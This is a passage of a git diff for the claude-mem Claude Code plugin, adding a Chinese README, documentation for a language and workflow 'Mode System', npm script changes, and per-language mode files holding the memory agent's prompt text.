đổi và phân phối phần mềm này tự do +- Nếu bạn sửa đổi và triển khai trên máy chủ mạng, bạn phải cung cấp mã nguồn của mình +- Các tác phẩm phái sinh cũng phải được cấp phép theo AGPL-3.0 +- KHÔNG CÓ BẢO HÀNH cho phần mềm này + +**Lưu Ý Về Ragtime**: Thư mục `ragtime/` được cấp phép riêng theo **PolyForm Noncommercial License 1.0.0**. Xem [ragtime/LICENSE](ragtime/LICENSE) để biết chi tiết. + +--- + +## Hỗ Trợ + +- **Tài Liệu**: [docs/](docs/) +- **Vấn Đề**: [GitHub Issues](https://github.com/thedotmack/claude-mem/issues) +- **Repository**: [github.com/thedotmack/claude-mem](https://github.com/thedotmack/claude-mem) +- **Tác Giả**: Alex Newman ([@thedotmack](https://github.com/thedotmack)) + +--- + +**Được Xây Dựng với Claude Agent SDK** | **Được Hỗ Trợ bởi Claude Code** | **Được Tạo với TypeScript** \ No newline at end of file diff --git a/docs/i18n/README.zh.md b/docs/i18n/README.zh.md new file mode 100644 index 00000000..389ea32d --- /dev/null +++ b/docs/i18n/README.zh.md @@ -0,0 +1,304 @@ +🌐 这是自动翻译。欢迎社区修正! + +--- +

+
+ + + + + Claude-Mem + + +
+

+ +

+ 🇨🇳 中文 • + 🇯🇵 日本語 • + 🇧🇷 Português • + 🇰🇷 한국어 • + 🇪🇸 Español • + 🇩🇪 Deutsch • + 🇫🇷 Français + 🇮🇱 עברית • + 🇸🇦 العربية • + 🇷🇺 Русский • + 🇵🇱 Polski • + 🇨🇿 Čeština • + 🇳🇱 Nederlands • + 🇹🇷 Türkçe • + 🇺🇦 Українська • + 🇻🇳 Tiếng Việt • + 🇮🇩 Indonesia • + 🇹🇭 ไทย • + 🇮🇳 हिन्दी • + 🇧🇩 বাংলা • + 🇷🇴 Română • + 🇸🇪 Svenska • + 🇮🇹 Italiano • + 🇬🇷 Ελληνικά • + 🇭🇺 Magyar • + 🇫🇮 Suomi • + 🇩🇰 Dansk • + 🇳🇴 Norsk +

+ +

Claude Code 构建的持久化内存压缩系统。

+ +

+ + License + + + Version + + + Node + + + Mentioned in Awesome Claude Code + +

+ +

+ + + + + thedotmack/claude-mem | Trendshift + + +

+ +
+ +

+ + + Claude-Mem Preview + + +

+ +

+ 快速开始 • + 工作原理 • + 搜索工具 • + 文档 • + 配置 • + 故障排除 • + 许可证 +

+ +

+ Claude-Mem 通过自动捕获工具使用观察、生成语义摘要并使其可用于未来会话,无缝保留跨会话的上下文。这使 Claude 能够在会话结束或重新连接后仍保持对项目的知识连续性。 +

+ +--- + +## 快速开始 + +在终端中启动新的 Claude Code 会话并输入以下命令: + +``` +> /plugin marketplace add thedotmack/claude-mem + +> /plugin install claude-mem +``` + +重启 Claude Code。来自先前会话的上下文将自动出现在新会话中。 + +**核心特性:** + +- 🧠 **持久化内存** - 上下文跨会话保留 +- 📊 **渐进式披露** - 分层内存检索,具有令牌成本可见性 +- 🔍 **基于技能的搜索** - 使用 mem-search 技能查询项目历史 +- 🖥️ **Web 查看器界面** - 在 http://localhost:37777 实时查看内存流 +- 💻 **Claude Desktop 技能** - 从 Claude Desktop 对话中搜索内存 +- 🔒 **隐私控制** - 使用 `` 标签排除敏感内容的存储 +- ⚙️ **上下文配置** - 精细控制注入的上下文内容 +- 🤖 **自动操作** - 无需手动干预 +- 🔗 **引用** - 使用 ID 引用过去的观察(通过 http://localhost:37777/api/observation/{id} 访问,或在 http://localhost:37777 的 Web 查看器中查看全部) +- 🧪 **测试版渠道** - 通过版本切换尝试实验性功能,如无尽模式 + +--- + +## 文档 + +📚 **[查看完整文档](docs/)** - 在 GitHub 上浏览 Markdown 文档 + +### 入门指南 + +- **[安装指南](https://docs.claude-mem.ai/installation)** - 快速开始与高级安装 +- **[使用指南](https://docs.claude-mem.ai/usage/getting-started)** - Claude-Mem 如何自动工作 +- **[搜索工具](https://docs.claude-mem.ai/usage/search-tools)** - 使用自然语言查询项目历史 +- **[测试版功能](https://docs.claude-mem.ai/beta-features)** - 尝试实验性功能,如无尽模式 + +### 最佳实践 + +- **[上下文工程](https://docs.claude-mem.ai/context-engineering)** - AI 代理上下文优化原则 +- **[渐进式披露](https://docs.claude-mem.ai/progressive-disclosure)** - Claude-Mem 上下文启动策略背后的哲学 + +### 架构 + +- **[概述](https://docs.claude-mem.ai/architecture/overview)** - 系统组件与数据流 +- **[架构演进](https://docs.claude-mem.ai/architecture-evolution)** - 从 v3 到 v5 的旅程 +- **[钩子架构](https://docs.claude-mem.ai/hooks-architecture)** - Claude-Mem 如何使用生命周期钩子 +- **[钩子参考](https://docs.claude-mem.ai/architecture/hooks)** - 7 个钩子脚本详解 +- **[Worker 服务](https://docs.claude-mem.ai/architecture/worker-service)** - HTTP API 与 Bun 管理 +- **[数据库](https://docs.claude-mem.ai/architecture/database)** - SQLite 模式与 FTS5 搜索 +- **[搜索架构](https://docs.claude-mem.ai/architecture/search-architecture)** - 使用 Chroma 向量数据库的混合搜索 + +### 配置与开发 + +- **[配置](https://docs.claude-mem.ai/configuration)** - 环境变量与设置 +- **[开发](https://docs.claude-mem.ai/development)** - 构建、测试、贡献 +- **[故障排除](https://docs.claude-mem.ai/troubleshooting)** - 常见问题与解决方案 + +--- + +## 工作原理 + +**核心组件:** + +1. **5 个生命周期钩子** - SessionStart、UserPromptSubmit、PostToolUse、Stop、SessionEnd(6 个钩子脚本) +2. **智能安装** - 缓存依赖检查器(预钩子脚本,不是生命周期钩子) +3. **Worker 服务** - 在端口 37777 上的 HTTP API,带有 Web 查看器界面和 10 个搜索端点,由 Bun 管理 +4. **SQLite 数据库** - 存储会话、观察、摘要 +5. **mem-search 技能** - 具有渐进式披露的自然语言查询 +6. **Chroma 向量数据库** - 混合语义 + 关键词搜索,实现智能上下文检索 + +详见[架构概述](https://docs.claude-mem.ai/architecture/overview)。 + +--- + +## mem-search 技能 + +Claude-Mem 通过 mem-search 技能提供智能搜索,当您询问过去的工作时会自动调用: + +**工作方式:** +- 只需自然提问:*"上次会话我们做了什么?"* 或 *"我们之前修复过这个 bug 吗?"* +- Claude 自动调用 mem-search 技能查找相关上下文 + +**可用搜索操作:** + +1. **搜索观察** - 跨观察的全文搜索 +2. **搜索会话** - 跨会话摘要的全文搜索 +3. **搜索提示** - 搜索原始用户请求 +4. **按概念搜索** - 按概念标签查找(发现、问题-解决方案、模式等) +5. **按文件搜索** - 查找引用特定文件的观察 +6. **按类型搜索** - 按类型查找(决策、bug修复、功能、重构、发现、更改) +7. **最近上下文** - 获取项目的最近会话上下文 +8. **时间线** - 获取特定时间点周围的统一上下文时间线 +9. **按查询的时间线** - 搜索观察并获取最佳匹配周围的时间线上下文 +10. **API 帮助** - 获取搜索 API 文档 + +**自然语言查询示例:** + +``` +"What bugs did we fix last session?" +"How did we implement authentication?" +"What changes were made to worker-service.ts?" +"Show me recent work on this project" +"What was happening when we added the viewer UI?" +``` + +详见[搜索工具指南](https://docs.claude-mem.ai/usage/search-tools)的详细示例。 + +--- + +## 测试版功能 + +Claude-Mem 提供**测试版渠道**,包含实验性功能,如**无尽模式**(用于扩展会话的仿生记忆架构)。从 Web 查看器界面 http://localhost:37777 → 设置 切换稳定版和测试版。 + +详见**[测试版功能文档](https://docs.claude-mem.ai/beta-features)**了解无尽模式的详细信息和试用方法。 + +--- + +## 系统要求 + +- **Node.js**: 18.0.0 或更高版本 +- **Claude Code**: 支持插件的最新版本 +- **Bun**: JavaScript 运行时和进程管理器(如缺失会自动安装) +- **uv**: 用于向量搜索的 Python 包管理器(如缺失会自动安装) +- **SQLite 3**: 用于持久化存储(已内置) + +--- + +## 配置 + +设置在 `~/.claude-mem/settings.json` 中管理(首次运行时自动创建默认设置)。可配置 AI 模型、worker 端口、数据目录、日志级别和上下文注入设置。 + +详见**[配置指南](https://docs.claude-mem.ai/configuration)**了解所有可用设置和示例。 + +--- + +## 开发 + +详见**[开发指南](https://docs.claude-mem.ai/development)**了解构建说明、测试和贡献工作流程。 + +--- + +## 故障排除 + +如果遇到问题,向 Claude 描述问题,troubleshoot 技能将自动诊断并提供修复方案。 + +详见**[故障排除指南](https://docs.claude-mem.ai/troubleshooting)**了解常见问题和解决方案。 + +--- + +## Bug 报告 + +使用自动生成器创建全面的 bug 报告: + +```bash +cd ~/.claude/plugins/marketplaces/thedotmack +npm run bug-report +``` + +## 贡献 + +欢迎贡献!请: + +1. Fork 仓库 +2. 创建功能分支 +3. 进行更改并添加测试 +4. 更新文档 +5. 提交 Pull Request + +详见[开发指南](https://docs.claude-mem.ai/development)了解贡献工作流程。 + +--- + +## 许可证 + +本项目采用 **GNU Affero General Public License v3.0** (AGPL-3.0) 许可。 + +Copyright (C) 2025 Alex Newman (@thedotmack)。保留所有权利。 + +详见 [LICENSE](LICENSE) 文件了解完整详情。 + +**这意味着什么:** + +- 您可以自由使用、修改和分发本软件 +- 如果您修改并部署到网络服务器上,必须公开您的源代码 +- 衍生作品也必须采用 AGPL-3.0 许可 +- 本软件不提供任何保证 + +**关于 Ragtime 的说明**: `ragtime/` 目录单独采用 **PolyForm Noncommercial License 1.0.0** 许可。详见 [ragtime/LICENSE](ragtime/LICENSE)。 + +--- + +## 支持 + +- **文档**: [docs/](docs/) +- **问题反馈**: [GitHub Issues](https://github.com/thedotmack/claude-mem/issues) +- **仓库**: [github.com/thedotmack/claude-mem](https://github.com/thedotmack/claude-mem) +- **作者**: Alex Newman ([@thedotmack](https://github.com/thedotmack)) + +--- + +**使用 Claude Agent SDK 构建** | **由 Claude Code 驱动** | **使用 TypeScript 制作** + +--- \ No newline at end of file diff --git a/docs/public/configuration.mdx b/docs/public/configuration.mdx index 952aed25..60b4e001 100644 --- a/docs/public/configuration.mdx +++ b/docs/public/configuration.mdx @@ -14,6 +14,7 @@ Settings are managed in `~/.claude-mem/settings.json`. The file is auto-created | Setting | Default | Description | |-------------------------------|---------------------------------|---------------------------------------| | `CLAUDE_MEM_MODEL` | `sonnet` | AI model for processing observations | +| `CLAUDE_MEM_MODE` | `code` | Active mode profile (e.g., `code--es`, `email-investigation`) | | `CLAUDE_MEM_CONTEXT_OBSERVATIONS` | `50` | Number of observations to inject | | `CLAUDE_MEM_WORKER_PORT` | `37777` | Worker service port | | `CLAUDE_MEM_SKIP_TOOLS` | `ListMcpResourcesTool,SlashCommand,Skill,TodoWrite,AskUserQuestion` | Comma-separated tools to exclude from observations | @@ -57,6 +58,32 @@ Edit `~/.claude-mem/settings.json`: } ``` +## Mode Configuration + +Configure the active workflow mode and language. + +### Settings + +| Setting | Default | Description | +|---------|---------|-------------| +| `CLAUDE_MEM_MODE` | `code` | Defines behavior and language. See [Modes & Languages](modes). | + +### Examples + +**Spanish Code Mode:** +```json +{ + "CLAUDE_MEM_MODE": "code--es" +} +``` + +**Email Investigation Mode:** +```json +{ + "CLAUDE_MEM_MODE": "email-investigation" +} +``` + ## Files and Directories ### Data Directory Structure diff --git a/docs/public/docs.json b/docs/public/docs.json index aaff8c88..85b688ac 100644 --- a/docs/public/docs.json +++ b/docs/public/docs.json @@ -57,6 +57,7 @@ "icon": "gear", "pages": [ "configuration", + "modes", "development", "troubleshooting", "platform-integration" diff --git a/docs/public/introduction.mdx b/docs/public/introduction.mdx index 32164a75..d44881aa 100644 --- a/docs/public/introduction.mdx +++ b/docs/public/introduction.mdx @@ -23,6 +23,8 @@ Restart Claude Code. Context from previous sessions will automatically appear in ## Key Features - 🧠 **Persistent Memory** - Context survives across sessions +- 🌐 **Multilingual Modes** - Supports 10+ languages (Spanish, Chinese, French, etc.) +- 🎭 **Mode System** - Switch between workflows (Code, Email Investigation) - 🔍 **mem-search Skill** - Query your project history with natural language (~2,250 token savings) - 🌐 **Web Viewer UI** - Real-time memory stream visualization at http://localhost:37777 - 🔒 **Privacy Control** - Use `` tags to exclude sensitive content from storage diff --git a/docs/public/modes.mdx b/docs/public/modes.mdx new file mode 100644 index 00000000..d37ace53 --- /dev/null +++ b/docs/public/modes.mdx @@ -0,0 +1,77 @@ +--- +title: "Modes & Languages" +description: "Configure Claude-Mem behavior and language with the Mode System" +--- + +# Modes & Languages + +Claude-Mem uses a flexible **Mode System** to adapt its behavior, observation types, and output language. This allows you to switch between different workflows (like coding vs. email investigation) or languages without reinstalling the plugin. + +## What is a Mode? + +A "mode" is a configuration profile that defines: +1. **Observer Role**: How Claude should analyze your work (e.g., "Software Engineer" vs. "Forensic Analyst"). +2. **Observation Types**: Valid categories for memory (e.g., "Bug Fix", "Feature" vs. "Person", "Organization"). +3. **Concepts**: Semantic tags for indexing (e.g., "Pattern", "Trade-off"). +4. **Language**: The language used for generating observations and summaries. + +## Configuration + +Set the active mode using the `CLAUDE_MEM_MODE` setting in `~/.claude-mem/settings.json`: + +```json +{ + "CLAUDE_MEM_MODE": "code--es" +} +``` + +Or via environment variable: + +```bash +export CLAUDE_MEM_MODE="code--fr" +``` + +## Available Modes + +### Code Mode (Default) +The standard mode for software development. Captures bug fixes, features, refactors, and architectural decisions. + +**ID:** `code` + +### Multilingual Code Modes +Inherits all behavior from Code Mode but instructs Claude to generate **all** memory artifacts (titles, narratives, facts, summaries) in the target language. + +| Language | Mode ID | Description | +|----------|---------|-------------| +| **Chinese** | `code--zh` | 中文 | +| **Spanish** | `code--es` | Español | +| **French** | `code--fr` | Français | +| **German** | `code--de` | Deutsch | +| **Japanese** | `code--ja` | 日本語 | +| **Korean** | `code--ko` | 한국어 | +| **Portuguese** | `code--pt` | Português | +| **Russian** | `code--ru` | Русский | +| **Thai** | `code--th` | ภาษาไทย | +| **Vietnamese** | `code--vi` | Tiếng Việt | + +### Email Investigation Mode +A specialized mode for analyzing email dumps (e.g., FOIA releases, corporate archives). Focuses on identifying entities, relationships, timeline events, and key topics. + +**ID:** `email-investigation` + +**Observation Types:** +- `entity`: Person, organization, or email address +- `relationship`: Connection between entities +- `timeline-event`: Time-stamped event in communication sequence +- `evidence`: Supporting documentation or proof +- `anomaly`: Suspicious pattern or irregularity +- `conclusion`: Investigative finding or determination + +## Mode Inheritance + +The system supports inheritance using the `--` separator. For example, `code--es` means: +1. Load `code` (Parent) configuration. +2. Load `code--es` (Child) configuration. +3. Merge Child into Parent (Child overrides). + +This allows for lightweight "remix" modes that only change specific aspects (like the language prompt) while keeping the core definitions intact. diff --git a/package.json b/package.json index 8a8a5de8..4f0074af 100644 --- a/package.json +++ b/package.json @@ -33,28 +33,22 @@ "scripts": { "build": "node scripts/build-hooks.js", "build-and-sync": "npm run build && npm run sync-marketplace && sleep 1 && cd ~/.claude/plugins/marketplaces/thedotmack && npm run worker:restart", - "test": "vitest", - "test:parser": "npx tsx src/sdk/parser.test.ts", - "test:context": "echo '{\"session_id\":\"test-'$(date +%s)'\",\"cwd\":\"'$(pwd)'\",\"source\":\"startup\"}' | node plugin/scripts/context-hook.js 2>/dev/null", - "test:context:verbose": "echo '{\"session_id\":\"test-'$(date +%s)'\",\"cwd\":\"'$(pwd)'\",\"source\":\"startup\"}' | node plugin/scripts/context-hook.js", "sync-marketplace": "node scripts/sync-marketplace.cjs", "sync-marketplace:force": "node scripts/sync-marketplace.cjs --force", "build:binaries": "node scripts/build-worker-binary.js", - "worker:start": "bun plugin/scripts/worker-cli.js start", - "worker:stop": "bun plugin/scripts/worker-cli.js stop", - "worker:restart": "bun plugin/scripts/worker-cli.js restart", - "worker:status": "bun plugin/scripts/worker-cli.js status", + "worker:start": "claude-mem start", + "worker:stop": "claude-mem stop", + "worker:restart": "claude-mem restart", + "worker:status": "claude-mem status", "worker:logs": "tail -n 50 ~/.claude-mem/logs/worker-$(date +%Y-%m-%d).log", "changelog:generate": "node scripts/generate-changelog.js", "discord:notify": "node scripts/discord-release-notify.js", - "usage:analyze": "node scripts/analyze-usage.js", - "usage:today": "node scripts/analyze-usage.js $(date +%Y-%m-%d)", "translate-readme": "bun scripts/translate-readme/cli.ts -v -o docs/i18n README.md", "translate:tier1": "npm run translate-readme -- zh ja pt-br ko es de fr", "translate:tier2": "npm run translate-readme -- he ar ru pl cs nl tr uk", "translate:tier3": "npm run translate-readme -- vi id th hi bn ro sv", "translate:tier4": "npm run translate-readme -- it el hu fi da no", - "translate:all": "npm run translate:tier1 && npm run translate:tier2 && npm run translate:tier3 && npm run translate:tier4", + "translate:all": "npm run translate:tier1 & npm run translate:tier2 & npm run translate:tier3 & npm run translate:tier4 & wait", "bug-report": "npx tsx scripts/bug-report/cli.ts" }, "dependencies": { @@ -66,6 +60,7 @@ "handlebars": "^4.7.8", "react": "^18.3.1", "react-dom": "^18.3.1", + "yaml": "^2.8.2", "zod-to-json-schema": "^3.24.6" }, "devDependencies": { @@ -76,7 +71,6 @@ "@types/react-dom": "^18.3.0", "esbuild": "^0.25.12", "tsx": "^4.20.6", - "typescript": "^5.3.0", - "vitest": "^4.0.15" + "typescript": "^5.3.0" } } diff --git a/plugin/modes/code--ar.json b/plugin/modes/code--ar.json new file mode 100644 index 00000000..70fa8501 --- /dev/null +++ b/plugin/modes/code--ar.json @@ -0,0 +1,24 @@ +{ + "name": "Code Development (Arabic)", + "prompts": { + "footer": "IMPORTANT! DO NOT do any work right now other than generating this OBSERVATIONS from tool use messages - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the observation content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful observations.\n\nRemember that we record these observations as a way of helping us stay on track with our progress, and to help us keep important decisions and changes at the forefront of our minds! :) Thank you so much for your help!\n\nLANGUAGE REQUIREMENTS: Please write the observation data in العربية", + + "xml_title_placeholder": "[**title**: عنوان قصير يلخص الإجراء أو الموضوع الأساسي]", + "xml_subtitle_placeholder": "[**subtitle**: شرح في جملة واحدة (بحد أقصى 24 كلمة)]", + "xml_fact_placeholder": "[بيان موجز ومكتفٍ ذاتياً]", + "xml_narrative_placeholder": "[**narrative**: السياق الكامل: ما تم إنجازه، كيف يعمل، لماذا هو مهم]", + "xml_concept_placeholder": "[فئة-نوع-المعرفة]", + "xml_file_placeholder": "[المسار/إلى/الملف]", + + "xml_summary_request_placeholder": "[عنوان قصير يلخص طلب المستخدم وجوهر ما تمت مناقشته/إنجازه]", + "xml_summary_investigated_placeholder": "[ما الذي تم استكشافه حتى الآن؟ ما الذي تم فحصه؟]", + "xml_summary_learned_placeholder": "[ما الذي تعلمته عن كيفية عمل الأشياء؟]", + "xml_summary_completed_placeholder": "[ما العمل الذي تم إنجازه حتى الآن؟ ما الذي تم شحنه أو تغييره؟]", + "xml_summary_next_steps_placeholder": "[ما الذي تعمل عليه بنشاط أو تخطط للعمل عليه بعد ذلك في هذه الجلسة؟]", + "xml_summary_notes_placeholder": "[رؤى أو ملاحظات إضافية حول التقدم الحالي]", + + "continuation_instruction": "IMPORTANT: Continue generating observations from tool use messages using the XML structure below.\n\nLANGUAGE REQUIREMENTS: Please write the observation data in العربية", + + "summary_footer": "IMPORTANT! DO NOT do any work right now other than generating this next PROGRESS SUMMARY - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the summary content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful summary content.\n\nThank you, this summary will be very useful for keeping track of our progress!\n\nLANGUAGE REQUIREMENTS: Please write ALL summary content (request, investigated, learned, completed, next_steps, notes) in العربية" + } +} diff --git a/plugin/modes/code--bn.json b/plugin/modes/code--bn.json new file mode 100644 index 00000000..95e44d3b --- /dev/null +++ b/plugin/modes/code--bn.json @@ -0,0 +1,24 @@ +{ + "name": "Code Development (Bengali)", + "prompts": { + "footer": "IMPORTANT! DO NOT do any work right now other than generating this OBSERVATIONS from tool use messages - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the observation content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful observations.\n\nRemember that we record these observations as a way of helping us stay on track with our progress, and to help us keep important decisions and changes at the forefront of our minds! :) Thank you so much for your help!\n\nLANGUAGE REQUIREMENTS: Please write the observation data in বাংলা", + + "xml_title_placeholder": "[**title**: মূল কাজ বা বিষয় বর্ণনাকারী সংক্ষিপ্ত শিরোনাম]", + "xml_subtitle_placeholder": "[**subtitle**: এক বাক্যে ব্যাখ্যা (সর্বোচ্চ ২৪ শব্দ)]", + "xml_fact_placeholder": "[সংক্ষিপ্ত, স্বয়ংসম্পূর্ণ বিবৃতি]", + "xml_narrative_placeholder": "[**narrative**: সম্পূর্ণ প্রসঙ্গ: কী করা হয়েছে, এটি কীভাবে কাজ করে, কেন এটি গুরুত্বপূর্ণ]", + "xml_concept_placeholder": "[জ্ঞান-ধরন-বিভাগ]", + "xml_file_placeholder": "[ফাইলের/পথ]", + + "xml_summary_request_placeholder": "[সংক্ষিপ্ত শিরোনাম যা ব্যবহারকারীর অনুরোধ এবং আলোচনা/সম্পাদিত বিষয়ের সারমর্ম বর্ণনা করে]", + "xml_summary_investigated_placeholder": "[এখন পর্যন্ত কী অনুসন্ধান করা হয়েছে? কী পর্যালোচনা করা হয়েছে?]", + "xml_summary_learned_placeholder": "[জিনিসগুলি কীভাবে কাজ করে সে সম্পর্কে আপনি কী শিখেছেন?]", + "xml_summary_completed_placeholder": "[এখন পর্যন্ত কোন কাজ সম্পন্ন হয়েছে? কী সরবরাহ বা পরিবর্তন করা হয়েছে?]", + "xml_summary_next_steps_placeholder": "[এই সেশনে আপনি সক্রিয়ভাবে কী নিয়ে কাজ করছেন বা পরবর্তীতে করার পরিকল্পনা করছেন?]", + "xml_summary_notes_placeholder": "[বর্তমান অগ্রগতি সম্পর্কে অতিরিক্ত অন্তর্দৃষ্টি বা পর্যবেক্ষণ]", + + "continuation_instruction": "IMPORTANT: Continue generating observations from tool use messages using the XML structure below.\n\nLANGUAGE REQUIREMENTS: Please write the observation data in বাংলা", + + "summary_footer": "IMPORTANT! DO NOT do any work right now other than generating this next PROGRESS SUMMARY - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the summary content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful summary content.\n\nThank you, this summary will be very useful for keeping track of our progress!\n\nLANGUAGE REQUIREMENTS: Please write ALL summary content (request, investigated, learned, completed, next_steps, notes) in বাংলা" + } +} diff --git a/plugin/modes/code--cs.json b/plugin/modes/code--cs.json new file mode 100644 index 00000000..4b5bb0bb --- /dev/null +++ b/plugin/modes/code--cs.json @@ -0,0 +1,24 @@ +{ + "name": "Code Development (Czech)", + "prompts": { + "footer": "IMPORTANT! DO NOT do any work right now other than generating this OBSERVATIONS from tool use messages - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the observation content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful observations.\n\nRemember that we record these observations as a way of helping us stay on track with our progress, and to help us keep important decisions and changes at the forefront of our minds! :) Thank you so much for your help!\n\nLANGUAGE REQUIREMENTS: Please write the observation data in čeština", + + "xml_title_placeholder": "[**title**: Krátký název zachycující hlavní akci nebo téma]", + "xml_subtitle_placeholder": "[**subtitle**: Vysvětlení v jedné větě (maximálně 24 slov)]", + "xml_fact_placeholder": "[Stručné, samostatné tvrzení]", + "xml_narrative_placeholder": "[**narrative**: Plný kontext: co bylo provedeno, jak to funguje, proč je to důležité]", + "xml_concept_placeholder": "[kategorie-typu-znalosti]", + "xml_file_placeholder": "[cesta/k/souboru]", + + "xml_summary_request_placeholder": "[Krátký název zachycující požadavek uživatele a podstatu toho, co bylo diskutováno/provedeno]", + "xml_summary_investigated_placeholder": "[Co bylo dosud prozkoumáno? Co bylo přezkoumáno?]", + "xml_summary_learned_placeholder": "[Co jste se naučili o tom, jak věci fungují?]", + "xml_summary_completed_placeholder": "[Jaká práce byla dosud dokončena? Co bylo dodáno nebo změněno?]", + "xml_summary_next_steps_placeholder": "[Na čem aktivně pracujete nebo plánujete pracovat dále v této relaci?]", + "xml_summary_notes_placeholder": "[Další poznatky nebo poznámky o aktuálním pokroku]", + + "continuation_instruction": "IMPORTANT: Continue generating observations from tool use messages using the XML structure below.\n\nLANGUAGE REQUIREMENTS: Please write the observation data in čeština", + + "summary_footer": "IMPORTANT! DO NOT do any work right now other than generating this next PROGRESS SUMMARY - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the summary content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful summary content.\n\nThank you, this summary will be very useful for keeping track of our progress!\n\nLANGUAGE REQUIREMENTS: Please write ALL summary content (request, investigated, learned, completed, next_steps, notes) in čeština" + } +} diff --git a/plugin/modes/code--da.json b/plugin/modes/code--da.json new file mode 100644 index 00000000..832c3108 --- /dev/null +++ b/plugin/modes/code--da.json @@ -0,0 +1,24 @@ +{ + "name": "Code Development (Danish)", + "prompts": { + "footer": "IMPORTANT! DO NOT do any work right now other than generating this OBSERVATIONS from tool use messages - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the observation content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful observations.\n\nRemember that we record these observations as a way of helping us stay on track with our progress, and to help us keep important decisions and changes at the forefront of our minds! :) Thank you so much for your help!\n\nLANGUAGE REQUIREMENTS: Please write the observation data in dansk", + + "xml_title_placeholder": "[**title**: Kort titel der beskriver hovedhandlingen eller emnet]", + "xml_subtitle_placeholder": "[**subtitle**: Forklaring i én sætning (maksimalt 24 ord)]", + "xml_fact_placeholder": "[Kortfattet, selvstændig erklæring]", + "xml_narrative_placeholder": "[**narrative**: Fuld kontekst: hvad der blev gjort, hvordan det virker, hvorfor det er vigtigt]", + "xml_concept_placeholder": "[videnstype-kategori]", + "xml_file_placeholder": "[sti/til/fil]", + + "xml_summary_request_placeholder": "[Kort titel der beskriver brugerens anmodning og essensen af hvad der blev diskuteret/gjort]", + "xml_summary_investigated_placeholder": "[Hvad er der blevet udforsket indtil videre? Hvad er blevet gennemgået?]", + "xml_summary_learned_placeholder": "[Hvad har du lært om, hvordan tingene fungerer?]", + "xml_summary_completed_placeholder": "[Hvilket arbejde er blevet afsluttet indtil videre? Hvad er blevet leveret eller ændret?]", + "xml_summary_next_steps_placeholder": "[Hvad arbejder du aktivt på eller planlægger at arbejde på næste i denne session?]", + "xml_summary_notes_placeholder": "[Yderligere indsigter eller observationer om den aktuelle fremgang]", + + "continuation_instruction": "IMPORTANT: Continue generating observations from tool use messages using the XML structure below.\n\nLANGUAGE REQUIREMENTS: Please write the observation data in dansk", + + "summary_footer": "IMPORTANT! DO NOT do any work right now other than generating this next PROGRESS SUMMARY - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the summary content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful summary content.\n\nThank you, this summary will be very useful for keeping track of our progress!\n\nLANGUAGE REQUIREMENTS: Please write ALL summary content (request, investigated, learned, completed, next_steps, notes) in dansk" + } +} diff --git a/plugin/modes/code--de.json b/plugin/modes/code--de.json new file mode 100644 index 00000000..02901ed9 --- /dev/null +++ b/plugin/modes/code--de.json @@ -0,0 +1,24 @@ +{ + "name": "Code Development (German)", + "prompts": { + "footer": "IMPORTANT! DO NOT do any work right now other than generating this OBSERVATIONS from tool use messages - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the observation content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful observations.\n\nRemember that we record these observations as a way of helping us stay on track with our progress, and to help us keep important decisions and changes at the forefront of our minds! :) Thank you so much for your help!\n\nLANGUAGE REQUIREMENTS: Please write the observation data in Deutsch", + + "xml_title_placeholder": "[**title**: Kurzer Titel, der die Kernaktion oder das Thema erfasst]", + "xml_subtitle_placeholder": "[**subtitle**: Erklärung in einem Satz (maximal 24 Wörter)]", + "xml_fact_placeholder": "[Prägnante, eigenständige Aussage]", + "xml_narrative_placeholder": "[**narrative**: Vollständiger Kontext: Was wurde getan, wie es funktioniert, warum es wichtig ist]", + "xml_concept_placeholder": "[Wissenstypkategorie]", + "xml_file_placeholder": "[pfad/zur/datei]", + + "xml_summary_request_placeholder": "[Kurzer Titel, der die Anfrage des Benutzers UND die Substanz dessen erfasst, was besprochen/getan wurde]", + "xml_summary_investigated_placeholder": "[Was wurde bisher untersucht? Was wurde überprüft?]", + "xml_summary_learned_placeholder": "[Was haben Sie über die Funktionsweise gelernt?]", + "xml_summary_completed_placeholder": "[Welche Arbeit wurde bisher abgeschlossen? Was wurde ausgeliefert oder geändert?]", + "xml_summary_next_steps_placeholder": "[Woran arbeiten Sie aktiv oder planen Sie als Nächstes in dieser Sitzung zu arbeiten?]", + "xml_summary_notes_placeholder": "[Zusätzliche Erkenntnisse oder Beobachtungen zum aktuellen Fortschritt]", + + "continuation_instruction": "IMPORTANT: Continue generating observations from tool use messages using the XML structure below.\n\nLANGUAGE REQUIREMENTS: Please write the observation data in Deutsch", + + "summary_footer": "IMPORTANT! DO NOT do any work right now other than generating this next PROGRESS SUMMARY - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the summary content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful summary content.\n\nThank 